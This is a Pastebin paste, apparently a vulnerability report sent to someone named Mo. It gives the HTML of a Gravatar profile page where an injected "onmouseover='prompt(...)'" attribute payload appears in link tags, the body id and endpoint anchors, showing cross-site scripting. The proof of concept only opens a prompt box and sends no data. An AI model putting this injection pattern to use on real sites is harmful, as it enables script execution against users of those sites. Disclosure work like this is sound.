Guest User

XSS wordpress

a guest
Mar 24th, 2014
1,252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.25 KB | None | 0 0
  1. Ehy Mo, thanks for the fast respone, this is the HTML code for the xss in gravatar!
  2.  
  3.  
  4. <!doctype html>
  5. <html xmlns="http://www.w3.org/1999/xhtml"
  6.  
  7. xmlns:fb="http://www.facebook.com/2008/fbml">
  8. <head>
  9. <title>jcarousel - Profilo
  10.  
  11. Gravatar</title>
  12. <link rel="shortcut icon" href="/favicon.ico" />
  13. <link rel="shortcut icon"
  14.  
  15. href="/favicon.ico" />
  16. <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
  17.  
  18.  
  19. <meta http-equiv="Content-Language" content="it" />
  20. <meta name="viewport"
  21.  
  22. content="width=device-width, initial-scale=1, maximum-scale=1">
  23. <link
  24.  
  25. href="http://s.gravatar.com/css/style.css?117" type="text/css" rel="stylesheet" media="screen" />
  26. <link
  27.  
  28. href="http://s.gravatar.com/css/profile.css?117" type="text/css" rel="stylesheet" media="screen" />
  29. <link
  30.  
  31. href="http://s.gravatar.com/css/jquery.Jcrop.0.9.12.css?117" type="text/css" rel="stylesheet" media="screen" />
  32.  
  33.  
  34. <script type="text/javascript" src="http://s.gravatar.com/js/jquery.js?117"></script>
  35. <script
  36.  
  37. type="text/javascript" src="http://s.gravatar.com/js/jquery.Jcrop.0.9.12.js?117"></script>
  38. <script
  39.  
  40. type="text/javascript" src="http://s.gravatar.com/js/application.js?117"></script>
  41. <script type="text/javascript"
  42.  
  43. src="http://s.gravatar.com/js/jcarousel/lib/jquery.jcarousel.pack.js?117"></script>
  44. <link rel="stylesheet"
  45.  
  46. type="text/css" href="/js/jcarousel/lib/jquery.jcarousel.css" />
  47. <link rel="stylesheet" type="text/css"
  48.  
  49. href="/js/jcarousel/skins/tango/skin.css" /> <link href="/css/services.css?117" type="text/css"
  50.  
  51. rel="stylesheet" media="screen" />
  52. <link rel="profile" href="http://microformats.org/profile/hcard" />
  53.  
  54.  
  55. <link rel="alternate" type="text/directory" title="vCard"
  56.  
  57. href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)&#039;bad=.vcf"
  58.  
  59. />
  60. <link rel="alternate" type="text/javascript" title="JSON"
  61.  
  62. href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)
  63.  
  64. &#039;bad=.json" />
  65. <link rel="alternate" type="text/xml" title="XML"
  66.  
  67. href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)
  68.  
  69. &#039;bad=.xml" />
  70. <link rel="alternate" type="text/php" title="Serialized PHP"
  71.  
  72. href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)
  73.  
  74. &#039;bad=.php" />
  75. <link rel="alternate" type="image/png" title="QR Code"
  76.  
  77. href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)&#039;bad=.qr"
  78.  
  79. />
  80. <script type="text/javascript" src="/js/jquery.scrollTo-1.4.2-min.js"></script>
  81. <script
  82.  
  83. type="text/javascript" src="/js/jquery.hotkeys-0.7.9.js"></script>
  84. <link rel="canonical"
  85.  
  86. href="http://gravatar.com/jcarousel" />
  87. <style type="text/css">
  88. /* Fonts */
  89. @font-face {
  90. font-family:
  91.  
  92. 'Automatticons';
  93. src: url('http://s.gravatar.com/fonts/automatticons-regular-webfont.eot');
  94. src: url
  95.  
  96. ('http://s.gravatar.com/fonts/automatticons-regular-webfont.eot?#iefix') format('embedded-opentype'), url
  97.  
  98. ('http://s.gravatar.com/fonts/automatticons-regular-webfont.woff') format('woff'), url
  99.  
  100. ('http://s.gravatar.com/fonts/automatticons-regular-webfont.ttf') format('truetype'), url
  101.  
  102. ('http://s.gravatar.com/fonts/automatticons-regular-webfont.svg#automatticonsregular') format('svg');
  103.  
  104.  
  105. font-weight: normal;
  106. font-style: normal;
  107. -webkit-font-smoothing: antialiased;
  108. }
  109. </style>
  110.  
  111. <script
  112.  
  113. type='text/javascript' src='//s1.wp.com/_static/??/wp-includes/js/swfobject.js,/wp-
  114.  
  115. content/plugins/video/assets/js/videopress.js?m=1340848398j'></script>
  116. <link
  117.  
  118. href="//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,400,300,600"
  119.  
  120. rel="stylesheet" type="text/css">
  121.  
  122. <script type="text/javascript"
  123.  
  124. src="/js/webtoolkit.base64.js"></script>
  125. <!--[if lt IE 7.]>
  126. <script defer
  127.  
  128. type="text/javascript" src="/js/pngfix.js"></script>
  129. <script defer type="text/javascript"
  130.  
  131. src="/js/old-ie-hacks.js"></script>
  132. <![endif]-->
  133.  
  134. <script type="text/javascript"
  135.  
  136. src="//use.typekit.com/llx8brg.js"></script>
  137. <script type="text/javascript">try{Typekit.load();}catch(e)
  138.  
  139. {}</script>
  140.  
  141.  
  142. <script src="/js/login.js"></script>
  143. <script type="text/javascript">
  144.  
  145.  
  146. $(function() {
  147. $( '#a8c-service-toggle' ).click( function() {
  148. var body
  149.  
  150. = $( 'body' ),
  151. header = $( '#unified-header' ),
  152.  
  153.  
  154. dops = $( '#a8c-dops' );
  155.  
  156. $( this ).parent
  157.  
  158. ().toggleClass( 'active' );
  159. body.toggleClass( 'dropped' );
  160.  
  161.  
  162. header.toggleClass( 'dropped' );
  163. dops.toggleClass( 'dropped' );
  164. });
  165.  
  166.  
  167.  
  168. $("#responsive-menu-button").click(function( a ) {
  169. a.preventDefault();
  170.  
  171.  
  172. $(".main-nav").toggleClass("dropped");
  173. })
  174.  
  175. });
  176. </script>
  177.  
  178. <link
  179.  
  180. rel="stylesheet" href="//s0.wordpress.com/i/noticons/noticons.css">
  181.  
  182. </head>
  183.  
  184. <body id="pagejs-jcarousel-
  185.  
  186. skins-tango--&quot;onmouseover=&#039;prompt(903393)&#039;bad=&quot;" >
  187.  
  188. <div id="wrap"
  189.  
  190. class="profile">
  191. <div id="a8c-dops">
  192. <ul>
  193. <li
  194.  
  195. class="wordpresscom">
  196. <a href="http://wordpress.com">
  197.  
  198.  
  199. <strong>WordPress.com</strong>
  200.  
  201.  
  202. <small>Setup a blog in minutes.</small>
  203. </a>
  204.  
  205.  
  206. </li>
  207. <li class="vaultpress">
  208. <a
  209.  
  210. href="http://vaultpress.com">
  211.  
  212.  
  213. <strong>VaultPress</strong>
  214. <small>Backup and security scanning
  215.  
  216. for your site.</small>
  217. </a>
  218. </li>
  219.  
  220.  
  221. <li class="akismet">
  222. <a href="http://akismet.com">
  223.  
  224.  
  225. <strong>Akismet</strong>
  226.  
  227.  
  228. <small>The anti-spam service for the web.</small>
  229. </a>
  230.  
  231.  
  232. </li>
  233. <li class="polldaddy">
  234. <a
  235.  
  236. href="http://polldaddy.com">
  237. <strong>Polldaddy</strong>
  238.  
  239.  
  240. <small>Create surveys for the web and mobile.</small>
  241.  
  242.  
  243. </a>
  244. </li>
  245. </ul>
  246. </div>
  247.  
  248. <div id="unified-header">
  249.  
  250.  
  251. <nav>
  252. <ul class="main-nav">
  253. <li>
  254.  
  255.  
  256. <a href="/" id="gr-logo">G</a>
  257. <a
  258.  
  259. href="/" id="responsive-menu-button" class="icon">Menu</a>
  260. </li>
  261.  
  262.  
  263. <li><a
  264.  
  265. href="/support/what-is-gravatar/">What is Gravatar?</a></li>
  266.  
  267.  
  268. <li><a href="/site/implement/">How to Use Gravatar</a></li>
  269.  
  270.  
  271. <li><a href="/support/">Help</a></li>
  272. </ul>
  273.  
  274.  
  275.  
  276. <ul class="user-nav">
  277.  
  278.  
  279. <li id="wpcc-sign-in">
  280. <span class="wpcom" id="a8c-service-
  281.  
  282. toggle"><span>WordPress.com</span></span>
  283. <a
  284.  
  285. href="https://en.gravatar.com/connect/" class="button header_sign-in">Sign In</a>
  286.  
  287.  
  288. </li>
  289.  
  290.  
  291. </ul>
  292.  
  293. </nav>
  294. </div>
  295.  
  296.  
  297. <div id="main">
  298. <div
  299.  
  300. class="middle"> <div class="box">
  301. <div id="content"
  302.  
  303. class="profile">
  304.  
  305.  
  306.  
  307. <div class="vcard grofile" id="profile">
  308. <div class="column-right
  309.  
  310. single">
  311. <div id="gallery">
  312.  
  313.  
  314. <style type="text/css">
  315.  
  316.  
  317. .gallery-main a {
  318. background: url(
  319.  
  320. 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=400px' ) center no-repeat;
  321.  
  322.  
  323. background-size: 400px;
  324.  
  325.  
  326. width: 400px;
  327.  
  328.  
  329. height: 400px;
  330.  
  331.  
  332. display: block;
  333. }
  334.  
  335.  
  336. @media
  337.  
  338.  
  339. only screen and (-moz-min-device-pixel-ratio: 1.5),
  340.  
  341.  
  342. only screen and (-o-min-device-pixel-ratio: 3/2),
  343.  
  344.  
  345. only screen and (-webkit-min-device-pixel-ratio: 1.5),
  346.  
  347.  
  348. only screen and (min-device-pixel-ratio: 1.5) {
  349.  
  350.  
  351. .gallery-main a {
  352.  
  353.  
  354. background: url(
  355.  
  356. 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=800' ) center no-repeat;
  357.  
  358.  
  359. background-size: 400px;
  360.  
  361.  
  362. }
  363.  
  364.  
  365. }
  366.  
  367.  
  368.  
  369. #photo-0 {
  370.  
  371.  
  372. background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?
  373.  
  374. size=80px' ) center no-repeat;
  375.  
  376.  
  377. background-size: 80px;
  378. width:
  379.  
  380. 80px;
  381. height: 80px;
  382.  
  383.  
  384. display: block;
  385.  
  386.  
  387. }
  388. @media
  389.  
  390.  
  391. only screen and (-moz-min-device-pixel-ratio:
  392.  
  393. 1.5),
  394. only screen and (-o-min-device-pixel-
  395.  
  396. ratio: 3/2),
  397. only screen and (-webkit-
  398.  
  399. min-device-pixel-ratio: 1.5),
  400. only screen and
  401.  
  402. (min-device-pixel-ratio: 1.5) {
  403.  
  404.  
  405. #photo-0 {
  406.  
  407.  
  408. background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=160' ) center no-
  409.  
  410. repeat;
  411. background-size:
  412.  
  413. 80px;
  414. }
  415.  
  416.  
  417. }
  418.  
  419.  
  420.  
  421. .gallery-main a.photo-0 {
  422.  
  423.  
  424. background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=400px' ) center
  425.  
  426. no-repeat;
  427. background-size:
  428.  
  429. 400px;
  430. }
  431.  
  432.  
  433. @media
  434. only
  435.  
  436. screen and (-moz-min-device-pixel-ratio: 1.5),
  437.  
  438.  
  439. only screen and (-o-min-device-pixel-ratio: 3/2),
  440.  
  441.  
  442. only screen and (-webkit-min-device-pixel-ratio: 1.5),
  443.  
  444.  
  445. only screen and (min-device-pixel-ratio: 1.5) {
  446.  
  447.  
  448. .gallery-main a.photo-0 {
  449.  
  450.  
  451. background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?
  452.  
  453. size=800' ) center no-repeat;
  454.  
  455.  
  456. background-size: 400px;
  457. }
  458.  
  459.  
  460. }
  461.  
  462.  
  463.  
  464. </style>
  465.  
  466.  
  467.  
  468. <div class="gallery-main">
  469. <a
  470.  
  471. href="http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d" class="photo-0">
  472.  
  473. &nbsp;
  474.  
  475.  
  476. </a> </div>
  477.  
  478.  
  479.  
  480.  
  481. <p class="clear"></p>
  482.  
  483.  
  484. </div>
  485.  
  486.  
  487.  
  488. </div>
  489.  
  490.  
  491. <div class="column-left">
  492.  
  493.  
  494. <div class="profile-description">
  495. <h2
  496.  
  497. class="fn"><a href="http://gravatar.com/jcarousel">jcarousel</a></h2>
  498.  
  499.  
  500.  
  501.  
  502. <p id="bio" class="description">
  503.  
  504.  
  505. Live in the desert, write in the dark.<br />
  506. Mix chems, get paid.<br />
  507. Live loud.<br />
  508. Like you. </p>
  509.  
  510.  
  511. </div>
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518. <div id="profile-misc">
  519.  
  520.  
  521. <ul class="dev-endpoints">
  522.  
  523.  
  524. <li><a href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt
  525.  
  526. (903393)'bad=">.json">JSON</a></li>
  527. <li><a
  528.  
  529. href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt
  530.  
  531. (903393)'bad=">.xml">XML</a></li>
  532. <li><a
  533.  
  534. href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt
  535.  
  536. (903393)'bad=">.php">PHP</a></li>
  537. <li><a
  538.  
  539. href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt
  540.  
  541. (903393)'bad=">.vcf">VCF</a></li>
  542. <li><a
  543.  
  544. href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt
  545.  
  546. (903393)'bad=">.qr">QR</a></li>
  547. </ul>
  548.  
  549.  
  550. </div>
  551.  
  552.  
  553.  
  554.  
  555.  
  556.  
  557. <div id="signup-prompt" class="signup-prompt">
  558.  
  559.  
  560. <div class="signup-prompt-inner">
  561.  
  562.  
  563. <p>Gravatar allows you to manage all of your online identities in one place on the
  564.  
  565. web.</p>
  566. <div class="signup-prompt-
  567.  
  568. box">
  569. <p><a
  570.  
  571. href="/site/signup" class="signup button">Sign Up</a></p><p>Already have an account? <a
  572.  
  573. href="site/login">Log In</a>.</p>
  574.  
  575.  
  576. </div>
  577. </div>
  578.  
  579.  
  580. </div>
  581.  
  582.  
  583. </div>
  584. </div>
  585.  
  586. <script type="text/javascript">
  587.  
  588.  
  589. var kkeys = [], kk = "38,38,40,40,37,39,37,39,66,65";
  590.  
  591.  
  592. $(document).keydown(function(e) {
  593. kkeys.push( e.keyCode );
  594.  
  595.  
  596. if ( kkeys.toString().indexOf( kk ) >= 0 ) {
  597.  
  598.  
  599. $(document).unbind('keydown',arguments.callee);
  600.  
  601.  
  602. $.getScript('/js/fall.php?hash=93a642a29fdd068bd132ad3e6b4c694d',function
  603.  
  604. (){});
  605. }
  606. });
  607.  
  608.  
  609. // Stop automatic window-closing on return to profiles
  610.  
  611.  
  612. window.opener = null;
  613. </script>
  614. <script
  615.  
  616. type="text/javascript">
  617.  
  618. $(document).bind( 'ready', function() {
  619.  
  620.  
  621. $required = $( '#report-abuse-form textarea, #report-abuse-form select' );
  622.  
  623.  
  624. // report abuse
  625.  
  626.  
  627.  
  628. $required.blur( function(){
  629. if ( '' == $.trim( $(this).val() )
  630.  
  631. )
  632. $(this).addClass( 'abuse-form-required'
  633.  
  634. );
  635. else
  636.  
  637.  
  638. $(this).removeClass( 'abuse-form-required' );
  639.  
  640.  
  641. });
  642.  
  643. $( '#report-abuse' ).click(function(e){
  644.  
  645.  
  646. e.preventDefault();
  647. $(
  648.  
  649. '#report-abuse-container').hide().slideDown( 'fast' );
  650. });
  651.  
  652.  
  653.  
  654. $( '#report-abuse-form' ).submit(function(e) {
  655.  
  656.  
  657. e.preventDefault();
  658.  
  659.  
  660. $required.each( function(){
  661. if ( '' == $.trim(
  662.  
  663. $(this).val() ) )
  664.  
  665.  
  666. $(this).removeClass( 'abuse-form-required' ).addClass( 'abuse-form-required' );
  667.  
  668.  
  669. else
  670.  
  671.  
  672. $(this).removeClass( 'abuse-form-required' );
  673. });
  674.  
  675.  
  676.  
  677. if ( $('.abuse-form-required').length > 0 )
  678.  
  679.  
  680. return false;
  681.  
  682.  
  683.  
  684. var data = { url: document.location.href, reported_user: 'jcarousel', reason: $( '#report-abuse-reason'
  685.  
  686. ).val(), details: $( '#report-abuse-details' ).val() };
  687. $.post(
  688.  
  689. '/site/submit_abuse', data );
  690. $(this).parent().slideUp
  691.  
  692. ().remove();
  693. $( '#report-abuse' ).replaceWith( "<div
  694.  
  695. id='report-abuse-submitted'>Report submitted. Thanks!</div>" );
  696.  
  697.  
  698. return false;
  699.  
  700. });
  701.  
  702.  
  703. $('#report-abuse-cancel').click(function(e){
  704.  
  705.  
  706. e.preventDefault();
  707. $( '#report-abuse-container').hide();
  708.  
  709.  
  710. });
  711. });
  712.  
  713.  
  714.  
  715. (function() {
  716. var po = document.createElement('script'); po.type =
  717.  
  718. 'text/javascript'; po.async = true;
  719. po.src = 'https://apis.google.com/js/plusone.js';
  720.  
  721.  
  722. var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po,
  723.  
  724. s);
  725. })();
  726. </script>
  727.  
  728. <style
  729.  
  730. type="text/css">
  731. .follow {
  732. padding-top: 7px;
  733.  
  734.  
  735. }
  736. .profile-formats {
  737. font-size: 80%;
  738.  
  739.  
  740. }
  741. </style>
  742.  
  743.  
  744.  
  745. </div>
  746. <span class="clear"></span>
  747.  
  748.  
  749. </div>
  750. <span class="clear"></span>
  751. </div>
  752. <span
  753.  
  754. class="clear"></span>
  755. </div>
  756.  
  757. <div id="footer">
  758. <div class="footer-inner">
  759.  
  760.  
  761. <div class="primary">
  762. <ul id="vp-primary-footer">
  763.  
  764.  
  765. <li><a href="http://blog.gravatar.com/">Blog</a></li>
  766.  
  767.  
  768. <li><a href="/site/implement/">Risorse per gli sviluppatori</a></li>
  769.  
  770.  
  771. <li><a href="/support/">Technical Support</a></li>
  772.  
  773.  
  774. </ul>
  775.  
  776. <div id="a8c-attribution">
  777.  
  778.  
  779. <span>An <a href="http://automattic.com/">Automattic</a> Team</span>
  780.  
  781.  
  782. </div>
  783. </div>
  784.  
  785. <div
  786.  
  787. class="secondary">
  788. <ul id="vp-secondary-footer">
  789.  
  790.  
  791. <li><a href="/site/translations/">Lingue</a></li>
  792.  
  793.  
  794. <li><a href="http://automattic.com/privacy/">Tutela della privacy</a></li>
  795.  
  796.  
  797. </ul>
  798.  
  799. <ul id="a8c-services">
  800.  
  801.  
  802. <li><a href="http://wordpress.com">WordPress.com</a></li>
  803.  
  804.  
  805. <li><a href="http://vaultpress.com">VaultPress</a></li>
  806.  
  807.  
  808. <li><a href="http://akismet.com">Akismet</a></li>
  809.  
  810.  
  811. <li><a href="http://polldaddy.com">Polldaddy</a></li>
  812.  
  813.  
  814. </ul>
  815. </div>
  816. </div>
  817. </div>
  818.  
  819. <span class="clear"></span>
  820. </div><!--/ #wrap -->
  821. <div id="overlay" style="display: none;"></div>
  822. <div style="display: none;"
  823.  
  824. id="gravatar_confirmation_container">
  825. <div id="gravatar_confirmation">
  826. &nbsp;
  827.  
  828.  
  829. </div>
  830. </div>
  831. <script type="text/javascript">
  832. var gaJsHost = (("https:" == document.location.protocol) ?
  833.  
  834. "https://ssl." : "http://www.");
  835. document.write(unescape("%3Cscript src='" + gaJsHost + "google-
  836.  
  837. analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
  838. </script>
  839. <script type="text/javascript">
  840.  
  841.  
  842. var pageTracker = _gat._getTracker("UA-52447-14");
  843. pageTracker._initData();
  844. pageTracker._trackPageview
  845.  
  846. ();
  847. </script>
  848. </body>
  849. </html>
Advertisement
Add Comment
Please, Sign In to add comment